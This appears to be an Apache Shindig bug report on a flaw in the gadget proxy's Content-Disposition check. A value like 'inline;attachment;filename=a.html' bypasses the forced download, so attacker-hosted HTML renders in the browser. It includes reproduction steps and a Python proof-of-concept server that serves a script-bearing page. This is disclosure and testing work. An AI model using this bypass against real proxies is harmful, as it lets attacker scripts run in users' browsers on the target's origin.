Description
While I was trying to figure why swf files are render as is instead of force download I found this code in the last repo
org.apache.shindig.gadgets.servlet.ProxyHandler#setResponseContentHeaders
if (StringUtils.isBlank(contentDispositionValue) || contentDispositionValue.indexOf("attachment;") == -1 || contentDispositionValue.indexOf("filename") == -1) \{ response.setHeader("Content-Disposition", "attachment;filename=p.txt"); } else \{ response.setHeader("Content-Disposition", contentDispositionValue); }
Is possible to break the Content-Disposition header if we set it to something like this: "Content-Disposition: inline;attachment;filename=a.html"
If an attacker creates a server and then redirect user to the shindig proxy in the target server, is possible to render the html as is instead of a safe download.
I had only check this in the dev version, not sure if it out in the wild.
Acceptance Test:
- Run the shinding server (per. http://shindig.apache.org/documentation_building_java.html): mvn -Prun
- Run a server that add the "Content-Disposition: inline;attachment;filename=a.html" in the response headers (PoC at the end)
- Browse to http://localhost:8080/gadgets/proxy?container=default&refresh=3600&url=http://127.0.0.1:8081/evil.html
Verify that html or any other file are force to download
##########################################################
server code python
#!/usr/bin/python import BaseHTTPServer, SimpleHTTPServer from urlparse import urlparse, parse_qs class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): print(self.headers) self.send_response(200) self.send_header("Content-Type", "text/html") self.send_header("Content-Disposition", "inline;attachment;filename=a.html") self.end_headers() self.wfile.write("<!DOCTYPE html><html> <head> <title>This is a title</title> <script>alert(document.location)</script></head> <body> <p>Hello world!</p> </body></html>") try: httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8081), MyHandler) httpd.serve_forever() except KeyboardInterrupt: print('^C received, shutting down server') httpd.socket.close()